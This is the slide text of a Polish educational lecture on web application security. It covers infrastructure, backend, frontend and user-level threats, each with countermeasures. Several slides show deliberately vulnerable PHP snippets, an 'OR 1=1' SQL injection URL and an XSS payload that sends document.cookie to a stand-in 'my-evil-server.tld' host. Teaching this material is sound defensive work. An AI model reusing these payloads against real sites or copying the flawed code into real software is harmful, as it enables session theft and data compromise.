Bezpieczeństwo aplikacji webowych
Prelegent: Tomasz Banasiak
Bezpieczeństwo WebAplikacji
Bezpieczeństwo aplikacji
Bezpieczeństwo WebAplikacji
O czym porozmawiamy?
- Zagrożenia na poziomie infrastruktury
- Zagrożenia na poziomie kodu - backend
- Zagrożenia na poziomie kodu - frontend
- Zagrożenia na pozomie człowieka: użytkownika, redaktora, administratora
Bezpieczeństwo WebAplikacji
Zagrożenia dla infrastruktury
Bezpieczeństwo WebAplikacji
Distributed Denial Of Service
Bezpieczeństwo WebAplikacji
Distributed Denial Of Service
Skutki:
- Przeciążenie infrastruktury serwerowej
- Brak dostępu do aplikacji przez klientów
- Potencjalne wycieki pamięci
Przeciwdziałanie:
- Poprawna konfiguracja serwerów (firewalle, balancery)
- Narzędzia anty-ddos (np. CloudFlare)
- Dystrybucja serwerów na wiele podsieci
Bezpieczeństwo WebAplikacji
0days
Skutki:
- Wykorzystanie błędów w oprogramowaniu do przejęcia kontroli nad serwerem
- Wyłączenie lub zablokowanie serwera lub usługi
- Kradzież danych
Przeciwdziałanie:
- Poprawna konfiguracja serwerów (strategia)
- Regularna (automatyczna) aktualizacja oprogramowania
- Zasada ograniczonego zaufania
Bezpieczeństwo WebAplikacji
Ataki hakerskie
Skutki:
- Przejęcie kontroli nad infrastrukturą IT
- Wykorzystanie infrastruktury do działalności przestępczej
- Kradzież danych, wyłączanie usług, podmiana witryny i inne
Przeciwdziałanie:
- Poprawna konfiguracja serwerów (dostępy, zabezpieczenia)
- Regularna (automatyczna) aktualizacja oprogramowania
- Zasada ograniczonego zaufania, minimalny dostęp
Bezpieczeństwo WebAplikacji
Zagrożenia dla backendu
Bezpieczeństwo WebAplikacji
Upload plików
Skutki:
- Potencjalne ryzyko uruchomienia złośliwego kodu
- Celowe zużycie dostępnej przestrzeni dyskowej
- Rozprzestrzenianie złośliwego oprogramowania
Bezpieczeństwo WebAplikacji
Przykład
// Check if only image has been uploaded
if (!preg_match('/^[a-zA-Z0-9\-\.\_]{2,100}\.(jpg|gif|png)/i', $fileName)) {
throw new Exception('Unsupported file type!');
}
- picture.jpg
- some-Other_picture09.png
- some-nasty-code.jpg.php
Bezpieczeństwo WebAplikacji
Upload plików
Przeciwdziałanie:
- Sprawdzony walidator przesłanych danych
- Upload do zewnętrznego serwera, np. CDN
- Zasada ograniczonego zaufania
Bezpieczeństwo WebAplikacji
SQL Injection
Skutki:
- Kradzież lub uszkodzenie danych
- Nadanie sobie uprawnień (np. admina)
- Modyfikacja zachowania oprogramowania
Bezpieczeństwo WebAplikacji
Przykład
$stmt = $db->prepare('SELECT * FROM persons WHERE name = ?');
$stmt->bindValue(1, $this->input->get('name'), PDO::PARAM_STR);
$stmt->execute();
$stmt = $db->prepare('SELECT * FROM persons WHERE name = ? '
. ($this->input->get('age') ? ' OR age = ' . $this->input->get('age') : ''));
$stmt->bindValue(1, $this->input->get('name'), PDO::PARAM_STR);
$stmt->execute();
http://app.com/api/get?name=.&age=1 OR 1=1
SELECT * FROM table WHERE name = '.' OR age = 1 OR 1=1
Bezpieczeństwo WebAplikacji
SQL Injection
Przeciwdziałanie:
- Korzystanie ze sprawdzonego ORM
- Walidacja każdej danej wykorzystywanej w SQL
- Rzutowanie typów
Bezpieczeństwo WebAplikacji
Błędy w logice aplikacji
Skutki:
- Wykonywanie niedozwolonych akcji
- Uszkodzenie danych
- Wycieki pamięci, przeciążenie usług
Bezpieczeństwo WebAplikacji
public function assignNoteToUser($note, $companyId = 0, $userId = 0)
{
if (!is_null($companyId)) {
// Check if user can add notes
$userId = $this->getEntitledUser($companyId);
if ($userId != $this->myUserId() ) {
throw new \Exception('You are not allowed to assign this note!');
}
}
// ...
$note = new \Data\Model\Note;
$note->add(
array(
'user_id' => $userId,
'note' => $note,
'company_id' => $companyId
)
);
return $note;
}
Bezpieczeństwo WebAplikacji
Błędy w logice aplikacji
Przeciwdziałanie:
- Testowanie kodu pod kątem bezpieczeństwa
- Używanie sprawdzonych wzorców projektowych
- Code-Review, audyty bezpieczeństwa
Bezpieczeństwo WebAplikacji
Kontrola dostępu
Skutki:
- Wykonywanie niedozwolonych akcji
- Kradzież danych
- Dostęp do zabezpieczonych części aplikacji
Bezpieczeństwo WebAplikacji
Przykład
$adminRole = ADMIN_NULL;
if ($this->input->post('user') == 'admin'
&& $this->checkAdminPassword($this->input->post('password'))) {
$adminRole = ADMIN_ADMIN;
}
if ($this->input->post('log_in_as_a_user') {
$adminRole = ADMIN_USER;
}
Bezpieczeństwo WebAplikacji
Kontrola dostępu
Przeciwdziałanie:
- Użycie sprawdzonego wzorca autoryzacji
- Testy bezpieczeństwa
- Code-Review, audyty bezpieczeństwa
Bezpieczeństwo WebAplikacji
Wyjątki, błędy
http://www.hackersforcharity.org/ghdb/
Bezpieczeństwo WebAplikacji
Wyjątki, błędy
Bezpieczeństwo WebAplikacji
Wyjątki, błędy
Bezpieczeństwo WebAplikacji
Wyjątki, błędy i inne
Bezpieczeństwo WebAplikacji
Wyjątki, błędy i inne
Bezpieczeństwo WebAplikacji
Wyjątki, błędy
Skutki:
- Ujawnienie wykorzystywanego oprogramowania
- Potencjalne wycieki zapytań SQL albo nawet haseł
- Szansa, że błąd zostanie zapisany przez Google
Przeciwdziałanie:
- Wyłączenie wyświetlania błędów na produkcji
- Wyłączenie domyślnych komunikatów oprogramowania
- Przechwytywanie wszystkich wyjątków i ich obsłużenie
Bezpieczeństwo WebAplikacji
Boty, automaty
Skutki:
- Wielokrotne duplikowanie wykonywanych akcji
- Crawling, czyli kradzież informacji
- Próby dodania niechcianych informacji (spamu)
Przeciwdziałanie:
- Logowanie podejrzanych zachowań
- Zabezpieczenie przed wielokrotnymi requestami
- Captcha
Bezpieczeństwo WebAplikacji
Captcha
Bezpieczeństwo WebAplikacji
Zagrożenia dla frontendu
Bezpieczeństwo WebAplikacji
Modyfikacja parametrów
Skutki:
- Wykonywanie akcji nie przewidzianych we froncie
- Wstrzykiwanie fałszywych danych do aplikacji
- Uzyskanie nieautoryzowanego dostępu do danych
Bezpieczeństwo WebAplikacji
Przykład
$offset = $this->request->get('offset') || self::ARCHIVE_DEFAULT_OFFSET;
$limit = $this->request->get('limit') || self::ARCHIVE_DEFAULT_LIMIT;
$this->view()->archive = $archive->getInvoices($userId, $limit, $offset);
http://app.com/api/invoices/archive?offset=0&limit=9999999999999
if ($this->isLoggedUser()) {
$invoice = $this->getInvoiceData($this->request->get('id');
if ($invoice->getCompanyId() == $this->request->get('companyId')) {
$this->deleteInvoice($this->request->get('id'));
$this->succeed('Invoice has been successfully removed!');
}
}
Bezpieczeństwo WebAplikacji
Modyfikacja parametrów
Przeciwdziałanie:
- Walidacja wszystkich przychodzących danych
- Walidacja uprawnień dla każdego requestu
- Dbanie o brak wskazówek dla atakującego
Bezpieczeństwo WebAplikacji
XSS
Zagrożenia:
- Wstrzykiwanie nieprawdziwych danych do widoku
- Uruchamianie obcych skryptów w lokalnym środowisku
- Uzyskanie nieautoryzowanego dostępu do danych
Bezpieczeństwo WebAplikacji
XSS
Bezpieczeństwo WebAplikacji
XSS
Bezpieczeństwo WebAplikacji
XSS
Bezpieczeństwo WebAplikacji
XSS
Bezpieczeństwo WebAplikacji
XSS
$.ajax({
url: "http://my-evil-server.tld/rst/get",
context: document.body,
data: {
'cookie': document.cookie,
'other': application.var
}
});
Bezpieczeństwo WebAplikacji
XSS
Przeciwdziałanie:
- Zabezpieczanie wszystkich danych przychodzących w parametrach
- Używanie statusów błędów i przypisanych do nich etykiet
- Wykonywanie testów bezpieczeństwa, w tym automatycznych: OWASP, SkipFish
Bezpieczeństwo WebAplikacji
Sniffning
Skutki:
- Podsłuchiwanie wrażliwych danych
- Ataki man-in-the-middle
- Przechwycenie danych autoryzacyjnych
Przeciwdziałanie:
- Użycie SSL dla wrażliwych części aplikacji
- Trzymanie wrażliwych danych po stronie serwera
- Autoryzacja za pomocą bezpiecznych tokenów
Bezpieczeństwo WebAplikacji
Zagrożenia dla użytkownika końcowego
Bezpieczeństwo WebAplikacji
Clickjacking
Skutki:
- Wykonywanie akcji "w imieniu" użytkownika
- Rozprzestrzenianie informacji bez wiedzy użytkownika
- Użycie uprawnień użytkownika do przejęcia aplikacji
Bezpieczeństwo WebAplikacji
Clickjacking
Bezpieczeństwo WebAplikacji
Clickjacking
Przeciwdziałanie:
- Analiza wystawionych publicznie metod
- Zabezpieczanie akcji tokenami / cookies
- Edukacja użytkowników
Bezpieczeństwo WebAplikacji
Phishing
Skutki:
- Kradzież danych użytkownika
- Wykonywanie akcji "w imieniu użytkownika"
- Wprowadzenie użytkownika w błąd
Bezpieczeństwo WebAplikacji
Phishing
Bezpieczeństwo WebAplikacji
Phishing
Przeciwdziałanie:
- CSRF
- SSL
- Edukacja użytkowników
Bezpieczeństwo WebAplikacji
Podsumowanie
- Zabezpieczenia na poziomie architektury aplikacji
- Sprawdzona metoda kontroli dostępów
- Dobry zespół Administratorów
- Brak zaufania do przesłanych danych
- Testy i kontrola jakości
Bezpieczeństwo WebAplikacji
Chcesz więcej?
http://threats.pl/
Bezpieczeństwo WebAplikacji
Pytania?
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Dziękuję za uwagę!
Kontakt ze mną:
E-mail: tomasz.banasiak@rst.com.pl
WEB: http://banasiak.pro
RST DevSchool - Bezpieczeństwo WebAplikacji
By Tomasz Banasiak
RST DevSchool - Bezpieczeństwo WebAplikacji
- 1,244